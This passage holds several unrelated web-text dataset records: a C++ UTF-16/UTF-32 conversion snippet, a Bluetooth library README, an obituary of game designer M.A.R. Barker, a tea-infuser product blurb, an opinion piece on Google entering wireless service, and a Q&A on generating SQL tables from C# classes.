convert_utf16_uf32{}.from_bytes(\n reinterpret_cast<const char*>(p),\n reinterpret_cast<const char*>(p+1)\n );\n}\n\nstd::u16string UTF32toUTF16(const std::u32string &str)\n{\n return convert_utf16_uf32{}.from_bytes(\n reinterpret_cast<const char*>(str.data()),\n reinterpret_cast<const char*>(str.data()+str.size())\n );\n}\n\nchar32_t UTF16toCodepoint(const std::u16string &str)\n{\n std::string bytes = convert_utf16_uf32{}.to_bytes(str);\n return *(reinterpret_cast<const char32_t*>(bytes.data()));\n}\n\nstd::u32string UTF16toUTF32(const std::u16string &str)\n{\n std::string bytes = convert_utf16_uf32{}.to_bytes(str);\n return std::u32string(\n reinterpret_cast<const char32_t*>(bytes.data()),\n bytes.size() / sizeof(char32_t)\n );\n}\n\n" ]

{ "pile_set_name": "StackExchange" }

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[ "This project will contain the core contracts for the various classes and will be consumed from all projects.", "\n\nThis will enable us to build a cross-platform Bluetooth adn robotics library that conforms to these contracts.", "\n\nBy putting it in a separate project, we ensure that there will be no circular references.", "\n\nTODO: rename to Core and get rid of the other core project\n\nDevice\n\n |-> one or more services [broad features]\n\n |-> one or more characteristics [different values within that feature]\n\n |-> values that can be read/notified/written\n\n |-> one or more descriptors that describe a characteristic\n\n" ]

{ "pile_set_name": "Github" }

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[ "Linguist, author, and game-designer M.A.R. Barker (b.1926 as Philip Barker) died on March 16. ", "Barker created the role playing game Empire of the Petal Throne, which was published by TSR in 1975. ", "Additional games and novels based on his world of Tekumel followed, including the games Swords and Glory, Gardásiyal, and Tékumel: Empire of the Petal Throne. ", "As with Tolkien, Barker was a linguist who used his knowledge of languages to sculpt a complex world." ]

{ "pile_set_name": "Pile-CC" }

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[ "Nous sommes désolés, cet article est actuellement indisponible.", "\n\nDescription\n\nLemon is to tea as cream is to coffee! ", "Here's a generous lemon wedge that will actually brew your tea. ", "Tuck your tea leaves inside and let the slice steep!", "\n\nFred's every-day and functional products are fresh, unexpected and both funny and personal. ", "Guaranteed to put a smile on your face and brighten up your day, Fred is friendly, fun and helpful around the house!" ]

{ "pile_set_name": "Pile-CC" }

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[ "Google bosses are dreaming about adding wireless service to the search giant's menu of offerings. ", "A couple of unnamed sources \"who have discussed the matter with Google\" told Amir Efrati at The Information that it would roll out the service in the same areas where Google Fiber is offered. ", "In other words, Google wants it all.", "\n\n\nThink about it. ", "Google already owns the fiber underground, not to mention the most popular browser. ", "They help make the smartphone hardware and rule the smartphone software market with Android. ", "And now they want to own the airwaves, too. ", "If the search giant follows through on this wireless carrier plan, you could one day do all of your downloading, internet browsing, emailing, calling, texting—pretty much any and all forms of communication—without leaving the Google ecosystem.", "\n\nGoogle as your one-stop wireless shop isn't necessarily a bad thing, though, especially given how broken our wireless system is right. ", "Or at least, the idea of Google disrupting the wireless industry isn't. ", "Everybody hates their wireless carrier. ", "Customer service is awful across the board, and we're getting eclipsed in speed by the rest of the world. ", "With AT&T and Verizon scooping up every small wireless carrier they can, we'll likely have even fewer bad choices in the future. ", "So if what Google plans to do with wireless is anything like what it's done with Fiber, the move to become a carrier could be very good for consumers.", "\n\n\nFor now, it seems a little bit like a pipe dream, though. ", "Google executives hope a lot of things. ", "The average American, however, really should hope that some savior swoops in to clean up the mess that is the wireless industry. [", "The Information]" ]

{ "pile_set_name": "OpenWebText2" }

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[ "Q:\n\nC# class to Sql table\n\nThere are a lot of Sql table -> C# class methodologies, but I'm looking for the reverse.", "\nHypothetical situation:\nI have N classes populated by some web service I consume, manipulate, then preform an action on. ", " Now the boss wants said web service data persisted in a database.", "\nI already have the classes defined, how can I quickly and easily (aka, lazily) generate a sql table off of each class?", "\n\nA:\n\nEntity Framework and nHibernate both allow you to use them in \"code-first\" mode, which involves writing classes then generating databases.", "\nThere is a walk-through of this on ScottGu's blog here: http://weblogs.asp.net/scottgu/archive/2010/07/16/code-first-development-with-entity-framework-4.aspx\n\n" ]

{ "pile_set_name": "StackExchange" }

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